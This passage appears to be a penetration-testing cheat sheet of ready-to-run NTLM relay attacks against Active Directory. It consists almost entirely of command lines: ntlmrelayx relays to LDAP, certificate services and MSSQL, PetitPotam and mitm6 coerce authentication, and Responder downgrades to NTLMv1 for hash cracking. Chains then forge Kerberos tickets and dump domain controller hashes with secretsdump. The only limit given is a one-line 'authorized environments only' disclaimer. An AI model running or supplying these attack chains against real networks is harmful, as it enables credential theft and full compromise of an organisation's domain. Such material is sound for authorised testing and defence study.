sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --remove-mic # cross-protocol
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --delegate-access -6 # RBCD
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support \
--shadow-credentials --shadow-target 'HOST$' # Shadow Creds
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-laps
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-gmsa
# === ESC8 ===
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP
# === ESC11 (RPC relay) ===
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support --adcs --template DomainController
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP
# === LDAP ESCALATE USER ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --escalate-user john.doe
# === WEBDAV → LDAPS (SMB signing ovunque) ===
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access --http-port 80 -smb2support
python3 PetitPotam.py -u user -p pass -d corp.local 10.10.14.1@80/test WS01_IP
# === NTLMv1 DOWNGRADE + CRACK ===
# In Responder.conf → Challenge = 1122334455667788
sudo responder -I eth0 -rdwv --lm
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
# === MSSQL ===
sudo ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
proxychains impacket-mssqlclient -no-pass -windows-auth corp.local/admin@SQL_IP
# === IPv6 (mitm6) ===
sudo mitm6 -d corp.local -i eth0
sudo ntlmrelayx.py -6 -t ldaps://DC_IP --delegate-access -smb2support
# === RBCD CHAIN COMPLETA ===
# 1. ntlmrelayx --delegate-access → XEWRIYIH$ con password
# 2. impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator \
# -dc-ip DC_IP corp.local/'XEWRIYIH$':'pass'
# 3. export KRB5CCNAME=Administrator.ccache
# 4. impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC_IPRelated articles:
- Impacket: complete suite
- Responder: LLMNR/NBT-NS poisoning
- SMB — port 445 and attacks
- RBCD — Resource-Based Constrained Delegation
- Shadow Credentials
- getST.py — S4U2Self/S4U2Proxy
- ADCS ESC1-ESC16
- DCSync
- addcomputer.py
- Man-in-the-Middle: techniques and tools
- Active Directory: exploitation
- secretsdump.py
- Port 1433 MSSQL
For use in authorized environments only.
#impacket #ntlm-relay #active-directory #windows








